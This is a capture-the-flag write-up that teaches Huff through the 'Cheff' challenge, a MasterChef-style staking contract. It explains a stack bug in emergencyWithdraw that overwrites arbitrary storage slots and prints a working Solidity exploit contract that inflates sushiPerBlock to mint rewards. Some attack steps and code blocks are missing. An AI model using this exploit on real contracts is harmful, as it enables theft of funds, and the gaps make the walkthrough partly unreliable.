Huff is a low-level programming language for writing highly optimized EVM smart contracts. High-level languages like Solidity and Vyper prioritize developer experience through abstraction, improving readability and reducing implementation complexity. These abstractions impose an optimization ceiling that prevents developers from achieving maximum gas efficiency. Yul, an intermediate language usable as inline assembly in Solidity or as standalone code, offers better optimization than Solidity but still cannot match direct opcode-level control. The Aztec Protocol team created Huff to implement Weierstrudel, an on-chain elliptic curve arithmetic library requiring gas optimization beyond what existing languages could provide. In fact, Huff is not a new programming language for EVM, it is just a set of tools created to help developers to write smart contracts with pure EVM opcodes.
This writeup covers solving Cheff, a CTF challenge from the StateMind Fellowship CTF. The solution demonstrates Huff programming concepts through identifying and exploiting a vulnerability in the contract. This writeup assumes familiarity with EVM blockchain fundamentals, including calldata handling, memory management, and storage layout. Readers unfamiliar with these EVM internals can reference the linked writeups below that cover these concepts through practical challenges.
For detailed installation instructions, project structure, and advanced compilation options, refer to the official Huff documentation.
Foundry supports Huff contract development through the huff-project-template. Standard Foundry commands like forge build and forge install work within this template. Foundry cannot compile Huff contracts by default. The foundry-huff library integrates huffc with Foundry's build system, requiring the Huff compiler to be installed. The template includes a SimpleStore example demonstrating the setup.
Understanding Cheff.huff
The Cheff.huff contract below demonstrates key Huff concepts through line-by-line walkthrough. Each function includes side-by-side comparison with equivalent Solidity code to illustrate how Huff's low-level opcodes map to high-level constructs.
Huff uses #include directives to import external libraries, functioning like Solidity's import statements. The contract imports several libraries from huffmate, the Huff equivalent of OpenZeppelin's Solidity libraries.
Huff uses #define directives to declare functions, events, errors, and constants. Function and event definitions enable the compiler to generate the contract ABI and provide the __FUNC_SIG and __EVENT_HASH builtins for generating selectors at compile time. Error definitions declare custom revert reasons, and constants define compile-time values.
#define function poolLength() view returns (uint256)
#define function add(uint256 allocPoint, address lpToken, bool withUpdate) nonpayable returns ()
#define function set(uint256 pid, uint256 allocPoint, bool withUpdate) nonpayable returns ()
#define function setMigrator(address migrator) nonpayable returns ()
#define function migrate(uint256 pid) nonpayable returns ()
#define function getMultiplier(uint256 from, uint256 to) view returns (uint256)
#define function pendingSushi(uint256 pid, address user) view returns (uint256)
#define function massUpdatePools() nonpayable returns ()
#define function updatePool(uint256 pid) nonpayable returns ()
#define function deposit(uint256 pid, uint256 amount) nonpayable returns ()
#define function withdraw(uint256 pid, uint256 amount) nonpayable returns ()
#define function emergencyWithdraw(uint256 pid) nonpayable returns ()
#define function dev(address devaddr) nonpayable returns ()
#define function sushi() view returns (address)
#define function devaddr() view returns (address)
#define function bonusEndBlock() view returns (uint256)
#define function sushiPerBlock() view returns (uint256)
#define function BONUS_MULTIPLIER() view returns (uint256)
#define function migrator() view returns (address)
#define function poolInfo(uint256 pid) view returns (address,uint256,uint256,uint256)
#define function userInfo(uint256 pid, address user) view returns (uint256,uint256)
#define function totalAllocPoint() view returns (uint256)
#define function startBlock() view returns (uint256)
#define function player() view returns (address)
#define function isSolved() view returns (bool)
#define event Deposit(address indexed user, uint256 indexed pid, uint256 amount)
#define event Withdraw(address indexed user, uint256 indexed pid, uint256 amount)
#define event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount)
#define error Unauthorized()
#define error OutOfBounds()
#define error NoMigrator()
#define error CallFailed()
#define error ReturnDataSizeIsZero()
#define error BadMigrate()
#define error WithdrawNotGood()
#define constant BONUS_MULTIPLIER_CONSTANT = 0x0a
#define constant E = 0xe8d4a51000
interface ICheff {
function poolLength() external view returns (uint256);
function add(uint256 allocPoint, address lpToken, bool withUpdate) external;
function set(uint256 pid, uint256 allocPoint, bool withUpdate) external;
function setMigrator(address migrator) external;
function migrate(uint256 pid) external;
function getMultiplier(uint256 from, uint256 to) external view returns (uint256);
function pendingSushi(uint256 pid, address user) external view returns (uint256);
function massUpdatePools() external;
function updatePool(uint256 pid) external;
function deposit(uint256 pid, uint256 amount) external;
function withdraw(uint256 pid, uint256 amount) external;
function emergencyWithdraw(uint256 pid) external;
function dev(address devaddr) external;
function sushi() external view returns (address);
function devaddr() external view returns (address);
function bonusEndBlock() external view returns (uint256);
function sushiPerBlock() external view returns (uint256);
function BONUS_MULTIPLIER() external view returns (uint256);
function migrator() external view returns (address);
function poolInfo(uint256 pid) external view returns (address,uint256,uint256,uint256);
function userInfo(uint256 pid, address user) external view returns (uint256,uint256);
function totalAllocPoint() external view returns (uint256);
function startBlock() external view returns (uint256);
function player() external view returns (address);
function isSolved() external view returns (bool);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
error Unauthorized();
error OutOfBounds();
error NoMigrator();
error CallFailed();
error ReturnDataSizeIsZero();
error BadMigrate();
error WithdrawNotGood();
}
contract Cheff {
uint256 constant BONUS_MULTIPLIER_CONSTANT = 0x0a;
uint256 constant E = 0xe8d4a51000;
}
Storage Slot Definitions
Huff uses FREE_STORAGE_POINTER() to automatically assign sequential storage slots without manual tracking. Each invocation returns the next available unused storage slot, preventing storage collisions. These constants define where contract state variables are stored in persistent storage.
contract Cheff {
address public sushi; // SUSHI_SLOT = slot 0
address public devaddr; // DEVADDR_SLOT = slot 1
uint256 public bonusEndBlock; // BONUS_END_BLOCK_SLOT = slot 2
uint256 public sushiPerBlock; // SUSHI_PER_BLOCK_SLOT = slot 3
address public migrator; // MIGRATOR_SLOT = slot 4
uint256 public poolInfoLength; // POOL_INFO_SLOT = slot 5 (array length)
mapping(uint256 => mapping(address => UserInfo)) public userInfo; // USER_INFO_SLOT = slot 6
uint256 public totalAllocPoint; // TOTAL_ALLOC_POINT_SLOT = slot 7
uint256 public startBlock; // START_BLOCK_SLOT = slot 8
address public player; // PLAYER_SLOT = slot 9
}
Constructor Macro
Macros in Huff organize reusable bytecode blocks that are inlined at the point of invocation during compilation. The CONSTRUCTOR macro executes once during contract deployment to initialize storage state. Unlike Solidity's implicit constructor, Huff requires explicit handling of constructor arguments and runtime bytecode deployment.
The constructor copies constructor arguments from the deployment bytecode to memory, then stores each argument in its designated storage slot. The final instructions copy the runtime bytecode (the actual contract code) and return it to complete deployment. This introduces several fundamental opcodes: codesize pushes the size of deployed bytecode to the stack; codecopy copies code from a source offset to memory destination with parameters (destOffset, offset, size); mload loads 32 bytes from memory at a specified offset; sstore stores a value to a storage slot taking (slot, value) parameters; sub subtracts the top two stack values; dup1 duplicates the top stack item; swap2 swaps the top stack item with the third item; and return halts execution returning data from memory with (offset, size) parameters.
Huff syntax introduces several important concepts: macros are defined using #define macro NAME() = { ... } to create reusable bytecode blocks; macro invocation like OWNED_CONSTRUCTOR() inlines another macro's code directly at that location during compilation; bracket notation [CONSTANT_NAME] pushes constant values onto the stack; literal hexadecimal values like 0xc0 and 0x00 are pushed directly to the stack; and single-line comments use // syntax similar to other programming languages.
#define macro CONSTRUCTOR() = {
OWNED_CONSTRUCTOR() // Initialize ownership (sets owner)
0xc0 0xe0 codesize sub // Calculate constructor args location: codesize - 0xe0 = args start
0x00 codecopy // Copy 0xc0 bytes of constructor args to memory[0x00]
0x00 mload // Load first arg (sushi address) from memory[0x00]
[SUSHI_SLOT] sstore // Store to SUSHI_SLOT
0x20 mload // Load second arg from memory[0x20]
[DEVADDR_SLOT] sstore // Store to DEVADDR_SLOT
0x40 mload // Load third arg from memory[0x40]
[SUSHI_PER_BLOCK_SLOT] sstore // Store to SUSHI_PER_BLOCK_SLOT
0x60 mload // Load fourth arg from memory[0x60]
[START_BLOCK_SLOT] sstore // Store to START_BLOCK_SLOT
0x80 mload // Load fifth arg from memory[0x80]
[BONUS_END_BLOCK_SLOT] sstore // Store to BONUS_END_BLOCK_SLOT
0xa0 mload // Load sixth arg from memory[0xa0]
[PLAYER_SLOT] sstore // Store to PLAYER_SLOT
0x68 dup1 // Push runtime bytecode size (0x68 = 104 bytes)
codesize sub // Calculate runtime code start: codesize - 0x68
dup1 swap2 // Arrange stack for codecopy
0x00 codecopy // Copy runtime bytecode to memory[0x00]
0x00 return // Return runtime bytecode (deploys contract)
}
The MAIN macro is the contract's entry point for all transactions after deployment. Every external call executes this macro to route the transaction to the appropriate function based on the function selector in calldata.
Function dispatching extracts the 4-byte function selector from calldata and compares it against each defined function signature using the __FUNC_SIG builtin. This builtin generates the function selector (first 4 bytes of keccak256(functionSignature)) at compile time. The dispatcher duplicates the selector and compares it with each possible function, jumping to the corresponding implementation when a match is found. The dispatching process relies on several critical opcodes: calldataload loads 32 bytes from calldata at a specified offset; shr shifts a value right by a specified number of bits (0xe0 = 224 bits = 28 bytes, leaving only the 4-byte selector); dup1 duplicates the top stack item for reuse in multiple comparisons; eq compares two values and pushes 1 if equal or 0 otherwise; jumpi performs a conditional jump to a destination if the condition is non-zero; and revert aborts execution and reverts all state changes.
Huff introduces several advanced concepts for control flow: the takes(n) returns(m) syntax specifies macro stack behavior where takes declares how many stack items the macro consumes as input and returns declares how many items it produces as output (for example, takes(2) returns(1) means the macro expects 2 values on the stack when called and leaves 1 value when finished, while takes(0) returns(0) indicates the macro starts with an empty stack and leaves it empty, serving as documentation for developers and enabling stack validation during compilation); __FUNC_SIG(functionName) is a compile-time builtin that generates function selectors by computing the first 4 bytes of keccak256("functionName(types...)") which the compiler replaces with a PUSH4 opcode containing the actual selector value; labels like pool_length_jump: mark jump destinations in bytecode creating named positions that jump and jumpi opcodes can target to make control flow readable (during compilation labels are converted to absolute bytecode positions); and macro invocations like POOL_LENGTH() inline another macro's code at that location during compilation which unlike function calls have zero runtime overhead since the code is copied directly rather than jumped to.
In Solidity, the compiler automatically generates the function dispatcher. So we won't see the equivalent solidity code in the contract.
Function Selection Flow:
When a transaction was made to the smart contract the function selection logic will execute in the following flow.
Transaction arrives with calldata: 0x949d225d0000... (example)
MAIN macro extracts selector: 0x949d225d (first 4 bytes)
Compares selector against each __FUNC_SIG:
poolLength → 0x081e3eda → no match
add → 0x1eaaa045 → no match
... continues checking ...
deposit → 0x949d225d → match found
Executes jumpi to deposit_jump label
Invokes DEPOSIT() macro to handle transaction
If no match found after all checks, reverts with 0x00 dup1 revert
Functions
SUSHI() - Get Sushi Token Address
Returns the address of the SUSHI reward token. This function introduces the sload opcode for reading from persistent storage and mstore for writing to memory before returning data. The sload opcode loads 32 bytes from a specified storage slot, while mstore writes 32 bytes to memory at a specified offset, preparing data for the return opcode.
function sushi() external view returns (address) {
return sushi;
}
The Solidity compiler handles storage access and return data formatting automatically, returning the state variable directly.
DEVADDR() - Get Developer Address
Returns the address designated to receive developer fees from the protocol. This function follows the same pattern as SUSHI(), using sload to read from storage and mstore/return to format and return the data to the caller.
function devaddr() external view returns (address) {
return devaddr;
}
The Solidity compiler reads the state variable and handles the return data encoding automatically.
POOL_LENGTH() - Get Total Number of Pools
Returns the total count of staking pools registered in the contract. Like the previous getters, this uses sload to retrieve the pool count from storage and returns it through memory.
#define macro POOL_LENGTH() = takes(0) returns(0) {
// Stack: []
[POOL_INFO_SLOT] sload
// Stack: [pool_count]
// Loads total number of pools from storage slot 2
0x00 mstore
// Stack: []
// Memory[0x00]: pool_count (32 bytes)
0x20 0x00 return
// Returns 32 bytes from memory[0x00]
// Stack: []
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
In Solidity, accessing a dynamic array's length property is a simple state read operation.
BONUS_MULTIPLIER() - Get Bonus Multiplier Constant
Returns a constant multiplier value used in reward calculations. Unlike previous functions that read from storage, this function returns a compile-time constant (10) by directly pushing the value onto the stack. The constant is defined as BONUS_MULTIPLIER_CONSTANT which expands to 0x0a (10 in hexadecimal) during macro expansion.
function BONUS_MULTIPLIER() external view returns (uint256) {
return 10;
}
Solidity constants are inlined at compile time, eliminating storage reads.
PLAYER() - Get Player Address
Returns the address of the player participating in the CTF challenge. This storage slot is initialized in the constructor and remains constant throughout the contract's lifetime.
function player() external view returns (address) {
return player;
}
Returns the immutable player address set during contract deployment.
IS_SOLVED() - Check Challenge Solution
Verifies whether the player has successfully completed the CTF challenge by checking their SUSHI token balance. This function introduces several new concepts: the gt opcode performs greater-than comparison between two stack values, pushing 1 if the first is greater or 0 otherwise; iszero performs logical NOT, flipping 0 to 1 and any non-zero value to 0. The function also demonstrates external contract calls using the ERC20_BALANCE_OF() macro, which uses staticcall to query the player's token balance from the SUSHI contract. The challenge is considered solved when the player has accumulated more than 1,000,000 SUSHI tokens (1,000,000 * 10^18 in wei).
The Solidity version abstracts away the manual memory management and external call encoding.
GET_MULTIPLIER() - Calculate Reward Multiplier
Calculates the reward multiplier between two block numbers, applying a bonus multiplier during the bonus period. The function uses the INNER_GET_MULTIPLIER() helper macro which implements three distinct cases: if the entire range falls within the bonus period (to ≤ bonusEndBlock), it applies the bonus multiplier to the full range; if the range is entirely after the bonus period (from ≥ bonusEndBlock), it returns the simple block difference; if the range spans across the bonus end block, it splits the calculation, applying the bonus multiplier to blocks before bonusEndBlock and regular 1× multiplier to blocks after. This introduces the jumpi opcode for conditional jumps based on stack comparisons, and demonstrates how complex branching logic is implemented in low-level EVM code.
#define macro GET_MULTIPLIER() = takes(0) returns(0) {
// Stack: []
0x04 calldataload
// Stack: [from_block]
0x24 calldataload
// Stack: [to_block, from_block]
INNER_GET_MULTIPLIER()
// Stack: [multiplier_result]
// Expands to inline multiplier calculation logic below
0x00 mstore
// Stack: []
// Memory[0x00]: multiplier_result (32 bytes)
0x20 0x00 return
// Returns 32 bytes from memory[0x00]
// Stack: []
}
// INNER_GET_MULTIPLIER() expansion: takes(2) returns(1)
// Input stack: [to, from]
#define macro INNER_GET_MULTIPLIER() = takes(2) returns(1) {
// Stack: [to, from]
[BONUS_END_BLOCK_SLOT] sload
// Stack: [bonusEndBlock, to, from]
dup1 dup3 gt
// Stack: [to > bonusEndBlock, bonusEndBlock, to, from]
to_is_bigger_jump jumpi
// If to > bonusEndBlock, jump. Otherwise fall through to Case 1.
pop
// Stack: [to, from]
SAFE_SUB()
// Stack: [to - from]
[BONUS_MULTIPLIER_CONSTANT] SAFE_MUL()
// Stack: [(to - from) * BONUS_MULTIPLIER]
end_jump jump
to_is_bigger_jump:
// Stack: [bonusEndBlock, to, from]
dup1 dup4 lt
// Stack: [from < bonusEndBlock, bonusEndBlock, to, from]
from_is_smaller_jump jumpi
// If from < bonusEndBlock, jump to Case 3. Otherwise fall through to Case 2.
pop
// Stack: [to, from]
SAFE_SUB()
// Stack: [to - from]
end_jump jump
from_is_smaller_jump:
// Case 3: from < bonusEndBlock < to (range spans bonus end)
// Stack: [bonusEndBlock, to, from]
swap2 dup3
// Stack: [bonusEndBlock, from, to, bonusEndBlock]
SAFE_SUB()
// Stack: [bonusEndBlock - from, to, bonusEndBlock]
[BONUS_MULTIPLIER_CONSTANT] SAFE_MUL()
// Stack: [(bonusEndBlock - from) * BONUS_MULTIPLIER, to, bonusEndBlock]
swap2 swap1
// Stack: [to, bonusEndBlock, (bonusEndBlock - from) * BONUS_MULTIPLIER]
SAFE_SUB()
// Stack: [to - bonusEndBlock, (bonusEndBlock - from) * BONUS_MULTIPLIER]
SAFE_ADD()
// Stack: [(bonusEndBlock - from) * BONUS_MULTIPLIER + (to - bonusEndBlock)]
end_jump:
}
The Solidity version uses if-else statements to handle the three cases of bonus period calculation.
POOL_INFO() - Get Pool Information
Returns complete pool information for a specific pool ID including the LP token address, allocation points, last reward block, and accumulated SUSHI per share. This function demonstrates reading multiple sequential storage slots and returning multiple values through memory, with each value placed at a different memory offset (0x00, 0x20, 0x40, 0x60) to create a packed return data structure.
Solidity automatically packs multiple return values into ABI-encoded return data.
USER_INFO() - Get User Staking Information
Returns a user's staked amount and reward debt for a specific pool. This function demonstrates nested mapping access in Huff using the GET_SLOT_FROM_KEYS_2D() macro, which computes the storage slot for userInfo[pid][user] by hashing the keys together using the standard Solidity storage layout algorithm.
Solidity handles nested mapping lookups and tuple returns automatically.
ADD() - Add New Pool
Adds a new liquidity pool to the contract with specified allocation points and LP token address. This function is restricted to the contract owner using the ONLY_OWNER() macro and introduces several important concepts: the stop opcode which halts execution successfully without returning data (unlike return), the sha3 opcode for computing Keccak-256 hashes used in storage slot calculations, and the number opcode which pushes the current block number onto the stack. The function also demonstrates complex storage manipulation for dynamic arrays in Solidity, using sha3 to calculate the storage location of array elements based on the array's base slot. Conditional execution is handled via jumpi for optionally updating all pools and determining the appropriate lastRewardBlock based on whether rewards have started.
Solidity handles dynamic array push operations and storage layout automatically.
SET() - Update Pool Allocation
Updates the allocation points for an existing pool, adjusting the total allocation accordingly. This function demonstrates chained macro calls with SAFE_SUB() and SAFE_ADD() operating on the same stack values, and shows how sstore can be chained to write to multiple storage locations efficiently. The function uses the GET_POOL_SLOT() macro to compute the storage location of a pool struct from its ID.
Solidity performs the arithmetic and storage updates in a single expression.
SET_MIGRATOR() - Set Migration Contract
Sets the migrator contract address for LP token migration. This is the simplest state-changing function, demonstrating the minimal pattern for owner-only functions that perform a single storage write.
function setMigrator(address migrator) external onlyOwner {
migrator = _migrator;
}
A simple setter function with access control.
DEPOSIT() - Stake LP Tokens
Stakes LP tokens into a pool and claims any pending rewards. This function introduces several critical opcodes and concepts: the caller opcode pushes msg.sender onto the stack, while address masks a value to 20 bytes (ensuring proper address formatting); log3 emits an event with three indexed topics (the event signature hash plus two indexed parameters); pop discards the top stack item. The function demonstrates complex multi-step operations including checking and claiming pending rewards if the user already has a stake, transferring LP tokens from the user using SAFE_TRANSFER_FROM(), updating the user's staked amount and reward debt, and finally emitting a Deposit event. Safe math operations are performed using SAFE_MUL() for multiplication, SAFE_DIV() for division with zero-check, while SAFE_SUSHI_TRANSFER() handles reward token transfers and __EVENT_HASH() computes event signatures at compile time.
The Solidity version abstracts the reward calculation and storage updates into cleaner syntax with automatic handling of storage references and event emission.
WITHDRAW() - Unstake LP Tokens and Claim Rewards
Withdraws staked LP tokens from a pool and claims pending rewards. This function follows a similar pattern to DEPOSIT() but in reverse, introducing the sub opcode for subtraction and the SAFE_TRANSFER() macro which transfers ERC20 tokens from the contract to the user (opposite direction from SAFE_TRANSFER_FROM()). The function validates the withdrawal amount, claims any pending rewards, decreases the user's staked amount, updates the reward debt, and transfers the LP tokens back to the user.
View function that calculates pending SUSHI rewards for a user without modifying state. This function introduces the number opcode which retrieves the current block number, lt for less-than comparison, and for bitwise AND operations enabling complex conditional checks, and jump for unconditional control flow jumps. The function implements sophisticated conditional logic with multiple jump labels to handle different reward calculation scenarios: if the pool hasn't been updated since the last reward block or has zero LP supply, it uses the existing accSushiPerShare; otherwise, it calculates an updated accSushiPerShare value by fetching the LP token balance, computing the block multiplier using INNER_GET_MULTIPLIER(), and calculating new rewards. The final pending reward is derived from the user's staked amount, the (potentially updated) accSushiPerShare, and their reward debt.
Updates reward variables for all pools by iterating through them. This function demonstrates how to implement loops in low-level EVM code using jump labels and conditional jumps, introducing iteration counter management with explicit stack-based loop variables. The function loads the total pool count, initializes a counter to zero, and uses labeled jumps (start_jump, continue_jump, end_jump) to create a loop structure that calls INNER_UPDATE_POOL() for each pool index from 0 to poolLength-1, incrementing the counter after each iteration until all pools are updated.
#define macro MASS_UPDATE_POOLS() = takes(0) returns(0) {
// Stack: []
[POOL_INFO_SLOT] sload
// Stack: [poolLength]
dup1 iszero
// Stack: [poolLength == 0, poolLength]
end_jump jumpi
// If no pools exist, jump to end
// ===== Initialize Loop =====
0x00
// Stack: [0, poolLength]
// Initialize counter i = 0
start_jump jump
// Jump to loop start
continue_jump:
// Stack: [i, poolLength]
eq end_jump jumpi
// If i == poolLength, exit loop
start_jump:
// Stack: [i, poolLength]
dup1
// Stack: [i, i, poolLength]
INNER_UPDATE_POOL() // takes(1) returns(0)
// Stack: [i, poolLength]
// Updates pool at index i
0x01 add
// Stack: [i+1, poolLength]
dup2 dup2
// Stack: [i+1, poolLength, i+1, poolLength]
continue_jump jump
end_jump:
// Stack: [poolLength, poolLength] or [poolLength] depending on path
stop
}
Updates a single pool's reward variables by calling the internal INNER_UPDATE_POOL() macro after pool ID validation. The INNER_UPDATE_POOL() helper macro implements the core pool update logic with several conditional paths: if the current block hasn't advanced past the pool's lastRewardBlock, it returns early; if the LP token supply is zero, it only updates lastRewardBlock to the current block; otherwise, it performs a full reward calculation by computing the block multiplier, calculating SUSHI rewards earned, minting 10% to the dev address and the full sushiReward amount to address(this) (the Cheff contract itself), updating accSushiPerShare with the new rewards scaled by 1e12 divided by LP supply, and finally storing the updated accSushiPerShare and lastRewardBlock values. The address opcode pushes the current contract's address onto the stack.
Solidity abstracts the conditional logic and storage operations with cleaner syntax.
MIGRATE() - Migrate LP Tokens
Migrates LP tokens to a new contract via the migrator contract. This function introduces critical opcodes for external contract interaction: call executes a call to another contract with specified gas, address, value, input data, and captures return data; returndatasize returns the size of data returned by the last external call; gas pushes the remaining gas onto the stack. The function demonstrates external contract calls with return data validation, uses SAFE_APPROVE() to approve ERC20 token spending by the migrator contract, and employs __RIGHTPAD(selector) to properly format function selectors. The migration process validates the migrator exists, approves the LP token balance to the migrator, calls the migrator's migrate function, verifies the returned new LP token address is valid, and updates the pool to use the new LP token.
Allows the current developer to update the developer address. This function implements a simple access control pattern where only the current dev address can designate a new dev address, using the eq opcode to compare msg.sender with the stored devaddr and conditionally jumping to allow the update or reverting with an Unauthorized error.
Allows users to withdraw all staked LP tokens without claiming rewards in emergency situations. This function is simpler than WITHDRAW() as it skips reward calculations and pool updates, immediately transferring the user's full LP token balance and resetting their state to zero. However, this implementation contains a critical vulnerability in the stack manipulation during the state reset phase.
function emergencyWithdraw(uint256 pid) external {
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][msg.sender];
uint256 amount = user.amount;
pool.lpToken.safeTransfer(msg.sender, amount);
emit EmergencyWithdraw(msg.sender, pid, amount);
assembly {
sstore(user.amount, user.rewardDebt)
// @audit-issue: Storing user.rewardDebt at slot number user.amount
// This overwrites arbitrary storage slots instead of resetting user state
}
user.amount = 0;
}
The Solidity equivalent demonstrates how the vulnerability translates to high-level code using inline assembly to expose the incorrect storage operations.
The final storage operations exhibit undefined behavior due to incorrect stack manipulation. Instead of properly zeroing user storage, the code writes to arbitrary storage locations.
Cheff Contract Functionality Overview
Cheff is a yield farming protocol that implements a MasterChef-style staking rewards system in Huff. The protocol allows users to stake LP (Liquidity Provider) tokens from various pools and earn SUSHI token rewards proportional to their stake and the pool's allocation weight. The contract manages multiple staking pools, each with configurable allocation points that determine the share of SUSHI rewards distributed to that pool's stakers.
Each pool represents a different LP token that users can stake. Pools are identified by a pool ID (pid) and contain:
lpToken: The ERC20 LP token address users stake
allocPoint: Allocation points determining the pool's share of total SUSHI rewards
lastRewardBlock: The last block number where reward distribution was calculated
accSushiPerShare: Accumulated SUSHI rewards per staked LP token (scaled by 1e12 for precision)
For each pool, users have a position tracked by:
amount: The quantity of LP tokens the user has staked
rewardDebt: A checkpoint value used to calculate pending rewards (explained below)
Reward distribution parameters :
sushiPerBlock: The amount of SUSHI tokens minted and distributed per block
totalAllocPoint: Sum of all pool allocation points, used to calculate each pool's proportional share
bonusEndBlock: Block number where bonus rewards end
BONUS_MULTIPLIER: Multiplier (10x) applied to rewards during the bonus period
Instead of tracking individual rewards for each user (which would be gas-prohibitive), Cheff uses an elegant accumulated rewards approach:
Pool-Level Accumulation: Each pool maintains accSushiPerShare which represents the total SUSHI rewards accumulated per LP token since the pool's inception.
Periodic Updates: When updatePool() is called (triggered by deposits, withdrawals, or manual calls), the contract:
Calculates blocks elapsed since lastRewardBlock
Determines the block multiplier (10x during bonus period, 1x after)
This gives only the rewards accumulated since the user's last interaction
On Withdrawal: After claiming pending rewards, rewardDebt is recalculated based on remaining stake
emergencyWithdraw(pid): Allows users to withdraw all LP tokens without claiming rewards.
Breaking the Cheff.huff
Challenge Goal
The objective is to accumulate more than 1,000,000 SUSHI tokens (1,000,000 * 10^18 wei) in the player's wallet. The isSolved() function verifies success by checking if sushi.balanceOf(player) > 1_000_000 * 1e18 returns true. The player address is set during contract deployment and cannot be changed, requiring exploitation of the contract's vulnerabilities to extract sufficient SUSHI rewards without legitimate staking.
The Vulnerability
The critical bug resides in the EMERGENCY_WITHDRAW() function's final storage reset sequence. After emitting the EmergencyWithdraw event via log3, the function attempts to zero out the user's position by resetting user.amount and user.rewardDebt to 0. However, incorrect stack manipulation using swap3 and swap1 operations causes a catastrophic misalignment.
Intended Behavior:
storage[user_slot] = 0 // Reset user.amount to 0
storage[user_slot + 1] = 0 // Reset user.rewardDebt to 0
The first sstore uses user.amount as the storage slot key instead of user_slot, writing user.rewardDebt to an arbitrary storage location. The second sstore correctly zeros user.amount, but the damage is done.
Exploitation Strategy
By depositing a carefully chosen amount X into any pool, an attacker controls which storage slot gets overwritten during emergencyWithdraw(). For example:
Deposit amount = N → storage[N] = user.rewardDebt → Overwrites slot N
The goal is to accumulate over 1,000,000 SUSHI tokens. The most effective target is slot 3 (SUSHI_PER_BLOCK_SLOT). Corrupting sushiPerBlock to an astronomically large value causes the contract to mint excessive rewards on subsequent pool updates.
Two values must be controlled:
user.amount = 3 determines which slot gets overwritten
user.rewardDebt determines the value written to that slot
When lpSupply equals 1 wei, every reward gets multiplied by 1e12 before accumulation. This is the key insight: deposit the minimum possible LP to inflate accSushiPerShare rapidly.
Attack Sequence
Step 1: Approve LP tokens for the Cheff contract.
Step 2: Deposit 1 wei of LP tokens into pool 0. This sets lpSupply = 1, maximizing the rate at which accSushiPerShare accumulates.
Step 3: Wait for blocks to pass. Each block accumulates rewards as:
The contract returns the 3 wei of LP tokens to the attacker.
Step 6: Deposit the remaining LP tokens (approximately 1 ether minus 3 wei) into pool 0.
Step 7: Wait for one block to pass, then call withdraw(0, 0) to claim rewards without withdrawing LP. With sushiPerBlock = 3e23, a single block generates:
sushiReward = 10 × 3e23 × 100 ÷ 100 = 3e24 SUSHI
This exceeds the 1,000,000 SUSHI (1e24 wei) threshold required to solve the challenge.
An alternative attack vector targets slot 2 (BONUS_END_BLOCK_SLOT). By setting user.amount = 2 and triggering the bug, the attacker overwrites bonusEndBlock with a large value, extending the 10x bonus multiplier indefinitely. This approach requires more blocks to accumulate sufficient rewards but avoids direct manipulation of the reward rate.
The Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ICheff} from "./ICheff.sol";
import {IERC20} from "./IERC20.sol";
contract Exploit {
ICheff public immutable cheff;
IERC20 public immutable lpToken;
IERC20 public immutable sushi;
constructor(address _cheff, address _lpToken, address _sushi) {
cheff = ICheff(_cheff);
lpToken = IERC20(_lpToken);
sushi = IERC20(_sushi);
}
function attack() external {
// Step 1: Approve LP tokens
lpToken.approve(address(cheff), type(uint256).max);
// Step 2: Deposit 1 wei to minimize lpSupply
// This maximizes accSushiPerShare growth rate
cheff.deposit(0, 1);
// Step 3: Blocks pass naturally on testnet
// accSushiPerShare inflates due to lpSupply = 1
// Step 4: Deposit 2 more wei to set user.amount = 3
// rewardDebt = 3 × accSushiPerShare ÷ 1e12
cheff.deposit(0, 2);
// Step 5: Trigger the bug
// storage[user.amount] = user.rewardDebt
// storage[3] = huge value → corrupts sushiPerBlock
cheff.emergencyWithdraw(0);
// Step 6: Deposit remaining LP tokens
uint256 remaining = lpToken.balanceOf(address(this));
cheff.deposit(0, remaining);
}
function claim() external {
// Step 7: Claim rewards after one block passes
cheff.withdraw(0, 0);
// Transfer SUSHI to caller/player
sushi.transfer(msg.sender, sushi.balanceOf(address(this)));
}
}
The exploit splits into two transactions: attack() sets up the corrupted state, and claim() harvests rewards after at least one block passes. The separation ensures the pool updates with the inflated sushiPerBlock value before claiming.
Conclusion
Huff enables gas optimization beyond what Solidity can achieve, but eliminates the compiler's safety guardrails. Stack manipulation errors like incorrect swap or dup operations can silently corrupt storage in ways that high-level languages prevent through type systems and automatic storage management. Use Huff only when gas savings justify the increased audit cost and development complexity, typically for hot paths in high-throughput contracts like DEX routers or optimized libraries. For most applications, Solidity's safety features and developer tooling provide better long-term maintainability.